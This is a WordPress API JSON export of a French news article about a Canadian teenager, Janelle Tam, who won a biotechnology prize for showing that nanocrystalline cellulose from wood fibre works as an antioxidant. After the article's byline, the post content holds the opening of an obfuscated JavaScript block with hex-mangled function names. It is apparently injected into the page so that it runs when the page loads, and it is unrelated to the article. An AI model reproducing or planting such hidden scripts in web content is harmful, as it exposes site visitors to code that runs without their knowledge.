{"id":52,"date":"2013-12-04T13:57:55","date_gmt":"2013-12-04T10:57:55","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/une-canadienne-de-16-ans-decouvre-une-substance-antivieillissement\/"},"modified":"2013-12-04T13:57:55","modified_gmt":"2013-12-04T10:57:55","slug":"une-canadienne-de-16-ans-decouvre-une-substance-antivieillissement","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/une-canadienne-de-16-ans-decouvre-une-substance-antivieillissement\/","title":{"rendered":"Une Canadienne de 16 ans d\u00e9couvre une substance antivieillissement"},"content":{"rendered":"<div class=\"art-article\">\n<p><img decoding=\"async\" src=\"http:\/\/www.aufaitmaroc.com\/pictures\/0110\/1800\/NCC-Bois_09052012113426.jpg\" border=\"0\" width=\"200\" height=\"133\" style=\"float: left;\" \/>Une Canadienne, \u00e2g\u00e9e de 16 ans, a d\u00e9couvert une substance antioxydante pouvant freiner le vieillissement, compos\u00e9e de nano-particules pr\u00e9sentes dans la fibre de bois, ont annonc\u00e9 mardi les organisateurs d&rsquo;un concours de biotechnologie qu&rsquo;elle a remport\u00e9.<\/p>\n<p>Janelle Tam, lyc\u00e9enne de Waterloo, en Ontario, a re\u00e7u le premier prix de l&rsquo;\u00e9dition 2012 du Sanofi BioGENEius Challenge, dont le jury est compos\u00e9 de chercheurs \u00e9minents venant du Conseil national de recherches Canada.<\/p>\n<p>  <!--more-->  <\/p>\n<p>\u00a0<\/p>\n<p>La substance qu&rsquo;elle a cr\u00e9\u00e9e pourrait \u00eatre utilis\u00e9e un jour pour am\u00e9liorer la sant\u00e9 et freiner le vieillissement, car elle neutralise nombre de radicaux libres nuisibles trouv\u00e9s dans le corps humain.<\/p>\n<div>\n<p class=\"intertitre\">Nano-cellulose cristalline<\/p>\n<p>La particule appel\u00e9e NCC (nano-cellulose cristalline) est pr\u00e9sente dans les arbres. Janelle Tam, arriv\u00e9e au Canada de Singapour il y a cinq ans, a \u00e9t\u00e9 la premi\u00e8re \u00e0 montrer qu&rsquo;elle est un antioxydant puissant, potentiellement sup\u00e9rieur aux vitamines C ou E, car elle est plus stable et son action dure plus longtemps. Elle a r\u00e9ussi \u00e0 la \u201ccoupler\u201d chimiquement avec des nano-particules de carbone, les buckminsterfuller\u00e8nes ressemblant par leur forme au ballon de football, ce qui leur vaut le surnom de football\u00e8ne. Le \u201ccouple\u201d agit \u201ccomme un aspirateur\u201d, neutralisant les radicaux libres.<\/p>\n<p class=\"exergue\">La NCC est non-toxique, stable, soluble dans l&rsquo;eau et renouvelable, puisqu&rsquo;elle vient des arbres, a indiqu\u00e9 la jeune chercheuse cit\u00e9e dans le communiqu\u00e9.<\/p>\n<p>Un institut national de recherche sur les for\u00eats, FPInnovations, pr\u00e9dit que son march\u00e9 pourra valoir jusqu&rsquo;\u00e0 250 millions de dollars dans la d\u00e9cennie \u00e0 venir.<\/p>\n<p>La premi\u00e8re usine de d\u00e9monstration de NCC a ouvert ses portes en janvier dernier sur le site de l&rsquo;usine de p\u00e2tes et papiers de Domtar, \u00e0 Windsor au Qu\u00e9bec.<\/p>\n<\/p><\/div>\n<div class=\"author_and_last_update\">\n<p>aufait avec AFP<\/p>\n<\/p><\/div>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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href=\"https:\/\/www.energy-sciences.org\/sciences\/une-canadienne-de-16-ans-decouvre-une-substance-antivieillissement\/\" title=\"Une Canadienne de 16 ans d\u00e9couvre une substance antivieillissement\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":{"0":"post-52","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-geologie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/52","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=52"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/52\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=52"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=52"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=52"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}